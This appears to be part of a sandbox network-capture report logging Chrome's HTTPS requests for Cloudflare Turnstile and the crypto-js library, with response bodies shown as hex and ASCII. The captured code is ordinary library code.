2024-12-05 21:16:25 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2024-12-05 21:16:25 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2024-12-05 21:16:25 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2024-12-05 21:16:25 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49761	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:26 UTC	648	OUT	GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://es.ineffable9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:27 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Thu, 21 Nov 2024 17:58:42 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ed70eac4804c431-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:27 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 Data Ascii: av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUB
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 63 74 7c 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 Data Ascii: ct\|\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 73 2c 6e 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 Data Ascii: s,n);var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 Data Ascii: cument.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49762	104.17.24.14	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:26 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:27 UTC	958	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 631764 Expires: Tue, 25 Nov 2025 21:16:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bgrBJhSvJJqxXdZHT4QKWGt3MTx55%2BqjycaLJ7dPvweBIVuyCih5hUCddVtoX3Pgl88v7xZDZ%2Fu7kS34ggpMqDJB7EJnxZ7NpuaVn1yJ0QNl2Nn8ClkBqWM4ALMSR2qLvMDz%2Fo6w"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ed70eadabdd6a52-EWR alt-svc: h3=":443"; ma=86400
2024-12-05 21:16:27 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
